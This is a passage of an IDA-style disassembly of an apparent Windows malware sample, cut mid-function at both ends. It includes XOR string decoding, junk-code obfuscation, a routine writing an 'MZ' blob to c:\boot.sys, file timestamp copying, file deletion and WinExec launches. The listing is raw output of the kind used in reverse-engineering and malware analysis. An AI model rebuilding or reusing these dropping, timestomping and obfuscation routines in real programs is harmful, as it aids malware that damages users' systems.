		cmp	byte ptr [edx+eax], 3Ah
		jnz	loc_408179
		mov	[ebp+var_18], 723h
		sub	[ebp+var_18], 2278h
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [eax+edx+11h],	20h
		jz	short loc_40809B
		cmp	byte ptr [eax+edx+14h],	20h
		jnz	loc_408179

loc_40809B:				; CODE XREF: sub_408048+46j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	edx, [ebp+arg_0]
		mov	al, [edx+eax]
		cmp	al, 34h
		jz	short loc_4080B1
		cmp	al, 35h
		jnz	loc_408179

loc_4080B1:				; CODE XREF: sub_408048+5Fj
		mov	eax, [ebp+var_4]
		add	eax, 11h
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 20h
		jnz	short loc_4080C9
		mov	[ebp+var_8], 10h
		jmp	short loc_4080D0
; ---------------------------------------------------------------------------

loc_4080C9:				; CODE XREF: sub_408048+76j
		mov	[ebp+var_8], 13h

loc_4080D0:				; CODE XREF: sub_408048+7Fj
		mov	[ebp+var_9], 0
		xor	ebx, ebx
		jmp	short loc_408150
; ---------------------------------------------------------------------------

loc_4080D8:				; CODE XREF: sub_408048+10Bj
		call	sub_40C7D0	; GetVersion
		cmp	[ebp+var_8], 13h
		jnz	short loc_408119
		mov	eax, [ebp+var_4]
		inc	eax
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 2Dh
		jnz	short loc_408119
		mov	edi, 5
		mov	esi, ebx
		inc	esi
		mov	[ebp+var_1C], edi
		mov	eax, esi
		mov	ecx, edi
		xor	edx, edx
		div	ecx
		mov	[ebp+var_20], eax
		mov	eax, edi
		mov	edi, [ebp+var_20]
		mul	[ebp+var_20]
		mov	[ebp+var_24], eax
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_40814F

loc_408119:				; CODE XREF: sub_408048+99j
					; sub_408048+A8j
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+var_4]
		inc	eax
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		mov	al, [edx+eax]
		cmp	al, 30h
		jl	short loc_408132
		cmp	al, 39h
		jle	short loc_408134

loc_408132:				; CODE XREF: sub_408048+E4j
		jmp	short loc_408179
; ---------------------------------------------------------------------------

loc_408134:				; CODE XREF: sub_408048+E8j
		movzx	eax, [ebp+var_9]
		mov	edx, [ebp+var_4]
		inc	edx
		add	edx, ebx
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx+edx]
		mov	ds:byte_433FE0[eax], dl
		add	[ebp+var_9], 1

loc_40814F:				; CODE XREF: sub_408048+CFj
		inc	ebx

loc_408150:				; CODE XREF: sub_408048+8Ej
		cmp	ebx, [ebp+var_8]
		jb	short loc_4080D8
		mov	eax, [ebp+var_8]
		mov	ds:byte_433FE0[eax], 0
		call	sub_40133B
		or	eax, eax
		jz	short loc_408170
		call	sub_40C734	; GetCurrentProcessId
		jmp	short loc_408179
; ---------------------------------------------------------------------------

loc_408170:				; CODE XREF: sub_408048+11Fj
		mov	[ebp+var_10], 1
		jmp	short loc_4081E7
; ---------------------------------------------------------------------------

loc_408179:				; CODE XREF: sub_408048+27j
					; sub_408048+4Dj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 0
		jz	short loc_4081E3
		mov	[ebp+var_12], 2C6Eh
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_12], ax
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 3Ch
		jnz	loc_408065
		cmp	byte ptr [eax+edx+1], 46h
		jnz	loc_408065
		cmp	byte ptr [eax+edx+2], 4Fh
		jnz	loc_408065
		cmp	byte ptr [eax+edx+3], 52h
		jnz	loc_408065
		cmp	byte ptr [eax+edx+4], 4Dh
		jnz	loc_408065
		cmp	byte ptr [eax+edx+5], 5Fh
		jnz	loc_408065

loc_4081E3:				; CODE XREF: sub_408048+13Ej
		and	[ebp+var_10], 0

loc_4081E7:				; CODE XREF: sub_408048+12Fj
		cmp	[ebp+var_10], 0
		jz	short loc_4081FC
		mov	eax, ds:dword_42FB14
		mov	dword_43C21C, eax
		jmp	loc_4082A6
; ---------------------------------------------------------------------------

loc_4081FC:				; CODE XREF: sub_408048+1A3j
		call	sub_40C854	; IsDebuggerPresent
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_40E080
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], 7776h
		add	[ebp+var_20], 6412h
		push	2
		push	0
		push	0
		push	eax
		call	sub_40C8D8	; SetFilePointer
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_408244:				; CODE XREF: sub_408048+201j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_408244
		mov	edi, eax
		push	0
		lea	esi, [ebp+var_24]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	sub_40C944	; WriteFile
		lea	edi, [ebp+var_2A]
		lea	esi, aQKy	; "~Q ky"
		mov	ecx, 6
		rep movsb
		push	2
		push	offset byte_446EB0
		call	sub_407FBC
		add	esp, 8
		push	0
		lea	edi, [ebp+var_24]
		push	edi
		mov	edi, 14h
		sub	edi, dword_442440
		push	edi
		push	eax
		push	[ebp+var_1C]
		call	sub_40C944	; WriteFile
		call	sub_40C7C4	; GetTickCount
		push	[ebp+var_1C]
		call	sub_40C7AC	; CloseHandle

loc_4082A6:				; CODE XREF: sub_408048+1AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408048	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4082AB	proc near		; CODE XREF: sub_40833E+76p
					; sub_40844F+DEp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 0Dh
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_446458
		lea	eax, ds:40D000h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4082F0
; ---------------------------------------------------------------------------

loc_4082D9:				; CODE XREF: sub_4082AB+47j
		mov	eax, dword_446458
		add	eax, edi
		lea	eax, ds:40D000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 3Ah
		mov	[eax], dl
		inc	edi

loc_4082F0:				; CODE XREF: sub_4082AB+2Cj
		cmp	edi, esi
		jl	short loc_4082D9
		mov	eax, dword_446458
		add	eax, esi
		mov	byte ptr ds:dword_40D000[eax], 0
		xor	edi, edi
		mov	edi, dword_446458
		inc	dword_446458
		mov	eax, dword_446458
		lea	eax, [eax+esi+6]
		mov	dword_446458, eax
		cmp	eax, 0DFAh
		jle	short loc_40832D
		and	dword_446458, 0

loc_40832D:				; CODE XREF: sub_4082AB+79j
		mov	[ebp+var_8], 337h
		lea	eax, dword_40D000[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4082AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40833E	proc near		; CODE XREF: sub_40844F+90p

var_22C		= word ptr -22Ch
var_22A		= byte ptr -22Ah
var_222		= byte ptr -222h
var_21A		= byte ptr -21Ah
var_212		= dword	ptr -212h
var_20E		= byte ptr -20Eh
var_109		= byte ptr -109h
var_108		= word ptr -108h
var_105		= byte ptr -105h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 22Ch
		push	esi
		push	edi
		call	sub_40C7C4	; GetTickCount
		mov	eax, dword_44645C
		mov	[ebp+var_212], eax
		mov	[ebp+var_108], 1671h
		movzx	eax, [ebp+var_108]
		imul	eax, 49FCh
		mov	[ebp+var_108], ax
		push	104h
		lea	eax, [ebp+var_20E]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		mov	[ebp+var_109], 7Ch
		add	[ebp+var_109], 1
		lea	eax, [ebp+var_20E]
		push	eax
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_40C6D8
		call	sub_40C7D0	; GetVersion
		push	0Dh
		push	offset word_446EA2
		call	sub_4082AB
		push	eax
		lea	esi, [ebp+var_105]
		push	esi
		call	sub_40CC74
		add	esp, 10h
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000001h
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40844B
		call	sub_40C764	; RtlGetLastWin32Error
		lea	eax, [ebp+var_22A]
		push	eax
		lea	eax, [ebp+var_222]
		push	eax
		lea	eax, [ebp+var_21A]
		push	eax
		push	edi
		call	sub_40C758	; GetFileTime
		lea	eax, [ebp+var_22A]
		push	eax
		lea	eax, [ebp+var_222]
		push	eax
		lea	eax, [ebp+var_21A]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C8E4	; SetFileTime
		push	edi
		call	sub_40C7AC	; CloseHandle
		mov	[ebp+var_22C], 0BCFh
		movzx	eax, [ebp+var_22C]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_22C], ax

loc_40844B:				; CODE XREF: sub_40833E+ABj
		pop	edi
		pop	esi
		leave
		retn
sub_40833E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40844F	proc near		; CODE XREF: sub_40AA24+8Dp

var_22B		= byte ptr -22Bh
var_228		= byte ptr -228h
var_220		= byte ptr -220h
var_21B		= byte ptr -21Bh
var_218		= byte ptr -218h
var_114		= byte ptr -114h
var_108		= word ptr -108h
var_105		= byte ptr -105h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 22Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C7D0	; GetVersion
		call	sub_40C7D0	; GetVersion
		cmp	eax, 80000000h
		jnb	loc_4085A0
		lea	edi, [ebp+var_114]
		lea	esi, aCBoot_sys	; "c:\\boot.sys"
		mov	ecx, 3
		rep movsd
		lea	edi, [ebp+var_21B]
		lea	esi, aRi	; "rI"
		mov	ecx, 3
		rep movsb
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_108], 7171h
		sub	[ebp+var_108], 3D17h
		push	0
		lea	eax, [ebp+var_220]
		push	eax
		push	4001h
		push	offset aMzr	; "MZ"
		push	ebx
		call	sub_40C944	; WriteFile
		push	ebx
		call	sub_40833E
		call	sub_40C740	; GetCurrentThreadId
		push	ebx
		call	sub_40C7AC	; CloseHandle
		lea	edi, [ebp+var_228]
		lea	esi, byte_44646F
		mov	ecx, 2
		rep movsd
		lea	edi, [ebp+var_22B]
		lea	esi, byte_446477
		mov	ecx, 3
		rep movsb
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		push	0Ah
		push	offset byte_446E97
		call	sub_4082AB
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		lea	edi, [ebp+var_218]
		push	edi
		call	sub_40CC50
		call	sub_40C740	; GetCurrentThreadId
		push	1Dh
		push	offset byte_446E79
		call	sub_4082AB
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC74
		add	esp, 28h
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40C704	; DeleteFileA
		mov	[ebp+var_105], 45h
		movzx	eax, [ebp+var_105]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_105], al
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C938	; WinExec

loc_4085A0:				; CODE XREF: sub_40844F+1Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40844F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_446504
		lea	eax, ds:432DD0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 1E6h
		xor	edi, edi
		jmp	short loc_4085EB
; ---------------------------------------------------------------------------

loc_4085D4:				; CODE XREF: .text:004085EDj
		mov	eax, dword_446504
		add	eax, edi
		lea	eax, ds:432DD0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0Fh
		mov	[eax], dl
		inc	edi

loc_4085EB:				; CODE XREF: .text:004085D2j
		cmp	edi, esi
		jl	short loc_4085D4
		mov	dword ptr [ebp-8], 237h
		mov	eax, dword_446504
		add	eax, esi
		mov	byte ptr ds:dword_432DD0[eax], 0
		xor	edi, edi
		mov	edi, dword_446504
		add	dword_446504, 2
		mov	eax, dword_446504
		add	eax, 6
		add	eax, esi
		mov	dword_446504, eax
		add	dword_446504, 2
		cmp	dword_446504, 0DC4h
		jle	short loc_40863D
		and	dword_446504, 0

loc_40863D:				; CODE XREF: .text:00408634j
		mov	dword ptr [ebp-0Ch], 65h
		lea	eax, dword_432DD0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40864E	proc near		; CODE XREF: sub_408779+43p

var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_40C7D0	; GetVersion
		push	4
		push	1000h
		push	[ebp+arg_0]
		push	0
		call	sub_40C908	; VirtualAlloc
		jmp	short locret_40867B
; ---------------------------------------------------------------------------
		mov	[ebp+var_1], 3Fh
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al

locret_40867B:				; CODE XREF: sub_40864E+1Aj
		leave
		retn
sub_40864E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40867D	proc near		; CODE XREF: sub_408779+E6p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_40C740	; GetCurrentThreadId
		push	8000h
		push	0
		push	[ebp+arg_0]
		call	sub_40C914	; VirtualFree
		jmp	short loc_40869B
; ---------------------------------------------------------------------------
		call	sub_40C794	; GetProcessHeap

loc_40869B:				; CODE XREF: sub_40867D+17j
		pop	ebp
		retn
sub_40867D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 2A0h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_446510
		lea	eax, ds:43A570h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 2B3h
		xor	edi, edi
		jmp	short loc_4086ED
; ---------------------------------------------------------------------------

loc_4086D3:				; CODE XREF: .text:004086EFj
		mov	eax, dword_446510
		add	eax, edi
		lea	eax, ds:43A570h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0F6h
		mov	[eax], dl
		inc	edi

loc_4086ED:				; CODE XREF: .text:004086D1j
		cmp	edi, esi
		jl	short loc_4086D3
		mov	dword ptr [ebp-0Ch], 25h
		mov	eax, dword_446510
		add	eax, esi
		mov	byte ptr ds:dword_43A570[eax], 0
		mov	edi, dword_446510
		inc	dword_446510
		mov	eax, dword_446510
		add	eax, 5
		add	eax, esi
		mov	dword_446510, eax
		cmp	eax, 0E06h
		jle	short loc_408730
		and	dword_446510, 0

loc_408730:				; CODE XREF: .text:00408727j
		mov	dword ptr [ebp-10h], 20Bh
		lea	eax, dword_43A570[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408741	proc near		; CODE XREF: sub_408779+103p

var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 19C3h
		sub	[ebp+var_4], 4EAAh
		push	offset dword_4464BC
		push	offset dword_44647C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BC80
		mov	[ebp+var_1], 19h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		leave
		retn
sub_408741	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408779	proc near		; CODE XREF: sub_4098A8+4E0p

var_71		= word ptr -71h
var_6F		= byte ptr -6Fh
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_62		= byte ptr -62h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C794	; GetProcessHeap
		lea	edi, [ebp+var_68]
		lea	esi, a@8wz	; " @8WZ"
		mov	ecx, 3
		rep movsw
		call	sub_40C7D0	; GetVersion
		mov	eax, dword_44651A
		mov	[ebp+var_6C], eax
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_4087B3
		add	eax, 3Fh

loc_4087B3:				; CODE XREF: sub_408779+35j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		call	sub_40864E
		pop	ecx
		mov	[ebp+var_18], eax
		mov	[ebp+var_22], 7A30h
		sub	[ebp+var_22], 748Fh
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_4087DC
		add	eax, 3Fh

loc_4087DC:				; CODE XREF: sub_408779+5Ej
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		push	[ebp+var_18]
		call	sub_40C8C0	; RtlZeroMemory
		lea	edi, [ebp+var_6F]
		lea	esi, word_44651E
		mov	ecx, 3
		rep movsb
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+var_18]
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_1C], 2FF0h
		mov	eax, [ebp+var_1C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_1C], edx
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40BDBE
		mov	ebx, [ebp+var_18]
		and	[ebp+var_4], 0
		jmp	short loc_408849
; ---------------------------------------------------------------------------

loc_40882F:				; CODE XREF: sub_408779+E1j
		mov	ax, word_446521
		mov	[ebp+var_71], ax
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40BDE5
		add	ebx, 40h
		inc	[ebp+var_4]

loc_408849:				; CODE XREF: sub_408779+B4j
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_408854
		add	eax, 3Fh

loc_408854:				; CODE XREF: sub_408779+D6j
		sar	eax, 6
		cmp	[ebp+var_4], eax
		jl	short loc_40882F
		push	[ebp+var_18]
		call	sub_40867D
		mov	[ebp+var_20], 2FAh
		mov	eax, [ebp+var_20]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_20], edx
		lea	eax, [ebp+var_62]
		push	eax
		push	[ebp+arg_8]
		call	sub_408741
		mov	eax, dword_44650C
		add	eax, 2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_62]
		push	eax
		call	sub_40CC08
		add	esp, 18h
		or	eax, eax
		jz	short loc_4088A3
		xor	eax, eax
		inc	eax
		jmp	short loc_4088AA
; ---------------------------------------------------------------------------

loc_4088A3:				; CODE XREF: sub_408779+123j
		call	sub_40C854	; IsDebuggerPresent
		xor	eax, eax

loc_4088AA:				; CODE XREF: sub_408779+128j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408779	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_44652C
		lea	eax, ds:439560h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 2A0h
		xor	edi, edi
		jmp	short loc_4088F5
; ---------------------------------------------------------------------------

loc_4088DE:				; CODE XREF: .text:004088F7j
		mov	eax, dword_44652C
		add	eax, edi
		lea	eax, ds:439560h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 1Bh
		mov	[eax], dl
		inc	edi

loc_4088F5:				; CODE XREF: .text:004088DCj
		cmp	edi, esi
		jl	short loc_4088DE
		mov	dword ptr [ebp-8], 29Ch
		mov	eax, dword_44652C
		add	eax, esi
		mov	byte ptr ds:dword_439560[eax], 0
		mov	edi, dword_44652C
		mov	eax, edi
		inc	eax
		add	eax, esi
		mov	dword_44652C, eax
		cmp	eax, 0DDFh
		jle	short loc_40892D
		and	dword_44652C, 0

loc_40892D:				; CODE XREF: .text:00408924j
		mov	dword ptr [ebp-0Ch], 0D8h
		lea	eax, dword_439560[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40893E	proc near		; CODE XREF: sub_4098A8+413p
					; sub_4098A8+42Bp

var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_25		= byte ptr -25h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1B		= byte ptr -1Bh
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		call	sub_40C7D0	; GetVersion
		lea	edi, [ebp+var_1B]
		lea	esi, aVlvh__0	; "vlVh_"
		mov	ecx, 3
		rep movsw
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	ebx, [ebp+arg_0]
		jmp	loc_408A7F
; ---------------------------------------------------------------------------

loc_40897F:				; CODE XREF: sub_40893E+14Cj
		lea	edi, [ebp+var_20]
		lea	esi, aHu	; ": hu"
		mov	ecx, 5
		rep movsb
		movsx	edi, byte ptr [ebx]
		shl	edi, 2
		mov	edi, dword_446538[edi]
		mov	[ebp+var_4], edi
		call	sub_40C764	; RtlGetLastWin32Error
		cmp	edi, 0FFFFFFFFh
		jz	loc_408A7E
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, [ebp+var_10]
		or	eax, eax
		jl	loc_408A78
		cmp	eax, 3
		jg	loc_408A78
		jmp	off_446948[eax*4]
; ---------------------------------------------------------------------------
		mov	[ebp+var_25], 38h
		sub	[ebp+var_25], 0BCh

loc_4089D5:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .data:off_446948o
		inc	[ebp+var_10]
		lea	edi, [ebp+var_34]
		lea	esi, a1bOt	; "/1~oT:"
		movsd
		movsd
		jmp	loc_408A78
; ---------------------------------------------------------------------------

loc_4089E8:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .data:0044694Co
		mov	edi, [ebp+var_14]
		shl	edi, 2
		mov	esi, [ebp+var_4]
		and	esi, 30h
		sar	esi, 4
		or	edi, esi
		mov	edx, edi
		mov	[ebp+var_15], dl
		call	sub_40C764	; RtlGetLastWin32Error
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_15]
		mov	[eax], dl
		inc	[ebp+var_10]
		jmp	short loc_408A78
; ---------------------------------------------------------------------------

loc_408A13:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .data:00446950o
		mov	edi, [ebp+var_14]
		and	edi, 0Fh
		shl	edi, 4
		mov	esi, [ebp+var_4]
		and	esi, 3Ch
		sar	esi, 2
		or	edi, esi
		mov	edx, edi
		mov	[ebp+var_15], dl
		lea	edi, [ebp+var_35]
		lea	esi, byte_446945
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_15]
		mov	[eax], dl
		inc	[ebp+var_10]
		jmp	short loc_408A78
; ---------------------------------------------------------------------------

loc_408A4A:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .data:00446954o
		mov	edi, [ebp+var_14]
		and	edi, 3
		shl	edi, 6
		or	edi, [ebp+var_4]
		mov	edx, edi
		mov	[ebp+var_15], dl
		mov	[ebp+var_2C], 6257h
		add	[ebp+var_2C], 0D1Fh
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_15]
		mov	[eax], dl
		and	[ebp+var_10], 0

loc_408A78:				; CODE XREF: sub_40893E+79j
					; sub_40893E+82j ...
		mov	eax, [ebp+var_4]
		mov	[ebp+var_14], eax

loc_408A7E:				; CODE XREF: sub_40893E+69j
		inc	ebx

loc_408A7F:				; CODE XREF: sub_40893E+3Cj
		cmp	byte ptr [ebx],	0
		jz	short loc_408A90
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_40897F

loc_408A90:				; CODE XREF: sub_40893E+144j
		cmp	byte ptr [ebx],	0
		jnz	short loc_408AB1
		mov	[ebp+var_1E], 214Eh
		movzx	eax, [ebp+var_1E]
		imul	eax, 7B26h
		mov	[ebp+var_1E], ax
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+arg_4]
		jmp	short loc_408AB4
; ---------------------------------------------------------------------------

loc_408AB1:				; CODE XREF: sub_40893E+155j
		or	eax, 0FFFFFFFFh

loc_408AB4:				; CODE XREF: sub_40893E+171j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40893E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408AB9	proc near		; CODE XREF: sub_408B4C+88p
					; sub_408B4C+E4p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_446960
		lea	eax, ds:413F30h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 278h
		xor	edi, edi
		jmp	short loc_408B02
; ---------------------------------------------------------------------------

loc_408AE8:				; CODE XREF: sub_408AB9+4Bj
		mov	eax, dword_446960
		add	eax, edi
		lea	eax, ds:413F30h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 9Ah
		mov	[eax], dl
		inc	edi

loc_408B02:				; CODE XREF: sub_408AB9+2Dj
		cmp	edi, esi
		jl	short loc_408AE8
		mov	[ebp+var_8], 2C7h
		mov	eax, dword_446960
		add	eax, esi
		mov	byte ptr ds:dword_413F30[eax], 0
		mov	edi, dword_446960
		mov	eax, edi
		lea	eax, [eax+esi+6]
		mov	dword_446960, eax
		cmp	eax, 0DB8h
		jle	short loc_408B3B
		and	dword_446960, 0

loc_408B3B:				; CODE XREF: sub_408AB9+79j
		mov	[ebp+var_C], 2EEh
		lea	eax, dword_413F30[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_408AB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B4C	proc near		; CODE XREF: sub_4098A8:loc_40A8A0p

var_38C		= dword	ptr -38Ch
var_388		= dword	ptr -388h
var_383		= dword	ptr -383h
var_37F		= byte ptr -37Fh
var_378		= byte ptr -378h
var_372		= word ptr -372h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_365		= byte ptr -365h
var_261		= dword	ptr -261h
var_25D		= dword	ptr -25Dh
var_251		= byte ptr -251h
var_250		= byte ptr -250h
var_24F		= byte ptr -24Fh
var_24E		= byte ptr -24Eh
var_14A		= word ptr -14Ah
var_148		= dword	ptr -148h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, dword_446964
		mov	[ebp+var_370], eax
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp+var_104]
		push	eax
		push	104h
		call	sub_40C7B8	; GetTempPathA
		mov	[ebp+var_14A], 21A4h
		movzx	eax, [ebp+var_14A]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_14A], ax
		lea	ecx, [ebp+var_104]
		or	eax, 0FFFFFFFFh

loc_408BA4:				; CODE XREF: sub_408B4C+5Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_408BA4
		mov	edi, eax
		mov	esi, dword_446958
		add	esi, 1
		push	esi
		lea	esi, [ebp+var_104]
		add	esi, edi
		push	esi
		call	sub_40172F
		add	esp, 8
		call	sub_40C854	; IsDebuggerPresent
		push	4
		push	offset dword_446E74
